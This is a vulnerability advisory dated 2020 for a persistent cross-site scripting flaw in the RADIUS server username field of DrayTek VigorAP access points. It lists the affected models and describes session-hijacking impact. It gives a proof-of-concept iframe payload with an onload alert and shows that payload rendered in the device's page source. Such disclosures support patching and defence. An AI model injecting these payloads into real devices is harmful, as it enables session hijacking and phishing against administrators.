Draytek VigorAP 1000C - Persistent Cross-Site Scripting

# Title: Draytek VigorAP 1000C - Persistent Cross-Site Scripting
# Author: Vulnerability Laboratory
# Date: 2020-05-07
# Vendor: https://www.draytek.com/
# Software: https://www.draytek.com/products/vigorap-903/
# CVE: N/A

Document Title:
===============
Draytek VigorAP - (RADIUS) Persistent XSS Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2244


Common Vulnerability Scoring System:
====================================
4


Product & Service Introduction:
===============================
https://www.draytek.com/
https://www.draytek.com/products/vigorap-903/



Affected Product(s):
====================
Draytek
[+] VigorAP 1000C | 1.3.2
[+] VigorAP 700 | 1.11
[+] VigorAP 710 | 1.2.5
[+] VigorAP 800 | 1.1.4
[+] VigorAP 802 | 1.3.2
[+] VigorAP 810 | 1.2.5
[+] VigorAP 900 | 1.2.0
[+] VigorAP 902 | 1.2.5
[+] VigorAP 903 | 1.3.1
[+] VigorAP 910C | 1.2.5
[+] VigorAP 912C | 1.3.2
[+] VigorAP 918R Series | 1.3.2
[+] VigorAP 920R Series | 1.3.0
[+] All other VigorAP Series with Radius Module


Vulnerability Disclosure Timeline:
==================================
2020-05-07: Public Disclosure (Vulnerability Laboratory)


Technical Details & Description:
================================
A persistent input validation vulnerability has been discovered in the
official Draytek VigorAP product series application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The persistent input validation web vulnerability is located in the
username input field of the RADIUS Setting - RADIUS Server
Configuration module. Remote attackers with limited access are able to
inject own malicious persistent script codes as username.
Other privileged user accounts execute on preview of the modules
context. The request method to inject is POST and the attack
vector is located on the application-side.

Successful exploitation of the vulnerability results in session
hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected
application modules.

Vulnerable Module(s):
[+] RADIUS Setting - RADIUS Server Configuration - Users Profile

Vulnerable Input(s):
[+] Username


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be exploited by
remote attackers with low privileged user account and low user interaction.
For security demonstration or to reproduce the security vulnerability
follow the provided information an steüs below to continue.


PoC: Payload
<iframe src=evil.source onload=alert(document.domain)></iframe>


PoC: Vulnerable Source (http:/vigorAP.localhost:50902/home.asp)
<div class="box">
<table width="652" cellspacing="1" cellpadding="2">
<tbody><tr>
<th id="userName">Username</th>
<th id="passwd">Password</th>
<th id="confirmPasswd">Confirm Password</th>
<th id="configure">Configure</th>
</tr>
<tr>
<td><input maxlength="24" type="text" id="addusr"></td>
<td><input maxlength="24" type="password" id="addpwd"></td>
<td><input maxlength="24" type="password" id="addpwdcfm"></td>
<td><input type="button" id="btnAddUser" value="Add" class="add"
onclick="addUser()">
<input type="button" id="btnCancelUser" value="Cancel" class="add"
onclick="cancelUser()"></td>
</tr>
</tbody></table>
<table class="content" width="652" cellspacing="1" cellpadding="2">
<tbody id="usersTb">
<tr>
<th id="userNo">NO.</th>
<th id="userNames">Username</th>
<th id="userSelect">Select</th>
</tr>
<tr><td>1</td><td>test</td><td><input type="checkbox"><input
type="hidden" value="test"></td></tr>
tr><td>2</td><td><iframe src=evil.source
onload=alert(document.domain)></iframe></td><td><input type="checkbox">
<input type="hidden" value="asd"></td></tr></tbody>
</table>
<p><input type="button" id="btnDelSelUser" value="Delete Selected"
class="del" onclick="delSelUser()">
<input type="button" id="btnDelAllUser" value="Delete All" class="del"
onclick="delAllUser()">
</p></div>


Reference(s):
http:/vigorAP.localhost:50902/
http:/vigorAP.localhost:50902/home.asp


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


-- 
VULNERABILITY LABORATORY - RESEARCH TEAM